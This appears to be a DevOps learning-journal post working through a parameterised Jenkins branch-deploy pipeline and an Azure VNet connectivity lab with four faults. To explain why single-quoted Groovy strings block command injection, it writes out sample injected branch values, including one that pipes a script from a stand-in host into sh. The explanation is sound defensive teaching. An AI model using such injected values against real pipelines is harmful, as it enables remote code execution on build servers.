Day 78: A Parameter and a Broken Route

Day 78 of DevOps, Day 28 of Azure. Both tasks today worked, and in both cases, knowing why they worked mattered more than the fact that they did.

A pipeline took a branch name from whoever triggered the build and interpolated it into a shell command, which is the shape of a security problem. It is safe, because of a quoting rule nobody mentions. And an Azure server served HTTP 200 from outside Azure, over its public IP, and still failed the task.

One Jenkins task, one Azure task. Make a deployment pipeline take the branch as a parameter, then fix a public network nobody could reach. The tasks come from the KodeKloud Engineer platform.

Task 1: A branch as a parameter

The task: a Pipeline job named devops-webapp-job that deploys whichever branch the user names at build time.

Step 1: Notice which branch the server is already on

[sarah@stapp01 html]$ git branch * feature master 

The application was serving the feature branch before the job existed. Nobody decided that; it is just where the working copy was left.

Which is the thing this job is for. Not "deploy any branch" as a capability, but "make the deployed branch a decision somebody records" instead of a side effect of the last person who ran a command in that directory.

Step 2: The pipeline

pipeline { agent { label 'stapp01' } parameters { string(name: 'BRANCH', defaultValue: 'master', description: 'Branch to deploy') } stages { stage('Deploy') { steps { sh ''' cd /var/www/html git fetch origin git checkout ${BRANCH} git pull origin ${BRANCH} ''' } } } } 

The parameters directive is documented, unlike its freestyle equivalent on Day 72: it "provides a list of parameters that a user should provide when triggering the Pipeline."

defaultValue: 'master' is the right way round, and worth saying out loud. A job whose default deploys feature is one distracted click from an incident.

And git fetch origin before the checkout is necessary rather than tidy. A branch that exists on the remote and has never been fetched locally cannot be checked out by name, so without it the first deployment of any new branch fails.

Step 3: Run the failing case too

Three builds: master, then feature, then unknown.

That third one is the part of this walkthrough I would keep. Two green builds prove the job can deploy. Only the deliberate failure proves the job fails when asked for a branch that does not exist.

Day 76's backup job was green every ten minutes while backing up nothing at all, and the only difference between that situation and this one is that somebody here checked the failure path.

Step 4: Why this is safe, which is not obvious

Look at what the pipeline does. It takes a string from whoever triggers the build and puts it into a shell command. That is the shape of a command injection.

It is safe, and the reason is the quote characters. ${BRANCH} sits inside sh '''...''', triple single quotes, and single-quoted strings in Groovy do not interpolate. So Jenkins sends the literal text ${BRANCH} to the agent, and the shell expands it as an environment variable.

That the variable exists to expand is documented: a build's parameters are "exported as environment variables when the build starts", referenced from a POSIX shell as ${PARAMETER_NAME}.

And the quoting is Jenkins' documented defence rather than a style choice. The hazard it names is Groovy string interpolation, which "can inject rogue commands into command interpreters via special characters" and "can result in problems analogous to SQL injection". Its example gives a string parameter the default hello; ls / and shows that sh("echo ${STATEMENT}") runs the ls, because Groovy substitutes into the command text before any shell sees it. The fix: "use single quotes to avoid Groovy interpolation".

So had this been written with triple double quotes, a BRANCH value of master; curl evil.example/x | sh would have run that second command on stapp01.

The shell side then holds for Day 72's reason. Bash expands in a fixed order, and "Only brace expansion, word splitting, and filename expansion can increase the number of words." Parameter expansion is not one of those three, so a semicolon arriving inside a value is a character in a word, not a command separator.

Worth flagging now: Day 81, in this same batch, writes the same kind of script with triple double quotes. Two pipelines, three days apart, on opposite sides of the one rule Jenkins documents about this.

What the docs recommend

The quoting makes this safe from injection. It does not make the parameter right.

git checkout ${BRANCH} passes an arbitrary string to git checkout, and git checkout accepts far more than branch names. A commit SHA, a tag, HEAD~5 are all valid. So the parameter's real domain is "any revision in this repository", not "a branch".

That is an operational problem rather than a security one. Deploy a bare commit and the working tree ends up detached from any branch, the following git pull origin ${BRANCH} fails, and the server sits on a revision nobody asked for.

A choice parameter listing the actual branches, as on Day 72, closes both the ambiguity and the free-text box. And "${BRANCH}" in quotes, because an unquoted value with spaces becomes several arguments.

Task 2: Four faults in one network

The task: an nginx server in a public VNet that nobody could reach. Find out why and fix it.

Four separate problems, each enough on its own to make the server unreachable: a user-defined route sending 0.0.0.0/0 to next hop None, a public IP not attached to the NIC, an NSG allowing only port 22, and nginx not installed.

Step 1: The one that failed me

Route table 'devops-rtb' does not have a route to the internet. 

My first attempt fixed three of the four correctly and served a working site. There are four ways to deal with a route blackholing all traffic, and I picked the one that works and is not what was asked:

The tell I walked straight past: after my delete, the route table contained zero routes and was still attached to the subnet. An empty route table attached to a subnet is pointless configuration. It does nothing and exists for no reason.

That end state should have prompted the obvious question. Why would a lab create a route table, attach it to a subnet, and put exactly one deliberately named route in it? Because the route was the thing to fix. The table was the exercise.

I read the end state as clean because traffic flowed. It was incoherent, and incoherent leftover configuration is a signal that the repair was aimed at the wrong layer.

My scope reasoning was wrong in a specific way too. Day 19's principle is about blast radius, an account-wide switch versus one container. Here the choice was not narrow against wide but absent against present: deleting and repointing touch one route, one table, one subnet, and differ only in the end state, which is exactly what the requirement was about.

Step 2: Working is not correct

The first attempt returned 200 with the nginx page, from outside Azure, over the public IP. The service genuinely worked. The configuration was wrong.

That is the precise inverse of Day 38, where an ECS task reported RUNNING and I failed by trusting the status field instead of testing reachability. The correction from that day was to always finish with an end-to-end check. Here the end-to-end check passed and the configuration was wrong.

Behaviour is not proof of configuration, just as configuration is not proof of behaviour. Both, every time.

A working system resting on a platform default that happens to apply is also fragile in practice. Someone attaching a different route table later breaks it, with nothing in the table to explain what was intended.

Step 3: Invalid does not mean broken

Before: Default Invalid 0.0.0.0/0 Internet / User Active 0.0.0.0/0 None After: User Active 0.0.0.0/0 Internet / Default Invalid 0.0.0.0/0 Internet 

The system route is marked Invalid in both cases. It is invalid because a user-defined route covers the same prefix, full stop, and it says nothing about whether traffic flows.

So my original reading was imprecise. Invalid was a consequence of a UDR existing, not the fault. The fault was that UDR's next hop was None. Read the row that is Active for the prefix and check its next hop, rather than looking for the absence of Invalid.

az network nic show-effective-route-table is still the first call in any Azure connectivity problem, because it shows what the NIC will actually do after Azure resolves precedence between system, user-defined and BGP routes. Reading the route table resource alone tells you a route exists, not whether it wins.

What the docs recommend

My note ended with a confident claim that has since stopped being true. I wrote that because Azure injects a system route and needs no gateway resource, "there is exactly one way to break it: override that system route with a UDR."

There are two now, and the second is becoming the default. Microsoft's page on the default outbound access change addresses this exact fix: "In configurations using User Defined Routes (UDRs), any configured routes with next hop type Internet break in a Private subnet."

So the route I created to pass this task is a route that stops working in a private subnet, and subnets in new virtual networks now default to private. Correct for the grader, correct for this VNet, and not a durable pattern.

The deeper mistake was conflating two layers. A system route decides where a packet is sent. Default outbound access decides what source address it carries: Azure "automatically assigns it an outbound public IP address", one that "is owned by Microsoft and can change without notice". Routing and source-address translation are different mechanisms, and "the VNet has internet access by default" is a claim about both at once.

Which is exactly why a UDR pointing at Internet breaks in a private subnet while looking perfectly correct in the route table. The route sends the packet out. Nothing gives it a public source address to be answered at.

Two details from the same page that would have saved me diagnostic time: "Default outbound access IPs don't support fragmented packets", and "don't support ICMP pings." A VM with no public IP that cannot ping out is behaving as documented, not broken.

One last thing, on fix order. A route table governs traffic leaving a subnet, so it is tempting to think a broken egress route only affects outbound connections. It does not: an inbound TCP connection needs its replies routed out, and replies are egress. More immediately, apt-get could not reach the mirrors, so the route had to be fixed before nginx could be installed at all. Install nginx first, and you get a package-resolution error that looks like a repository or DNS problem and says nothing about routing.

When faults are dependent, fixing them out of order produces misleading errors for the ones that are not broken. Sweep for all of them before changing anything.

What I learned

Two things that worked, for reasons that were not visible in them.

The pipeline is safe from command injection, and nothing in the pipeline says so. The safety is in the choice of ''' over """, three characters that look like formatting. Change them and the job becomes a remote shell for anyone who can trigger a build. I would not have known that from reading the script, and Day 81 shows the same author reaching for the other quote by default.

The Azure repair was wrong while serving a working site, and I called it clean because traffic flowed. The thing I should have noticed was the leftover: an empty route table attached to a subnet, which no one would configure deliberately. Function told me nothing. Coherence would have told me everything.

So here is the Day 78 question. The last thing you fixed that worked afterwards: do you know it was correct, or do you know it stopped failing?

Day 78 down. Twenty-two to go.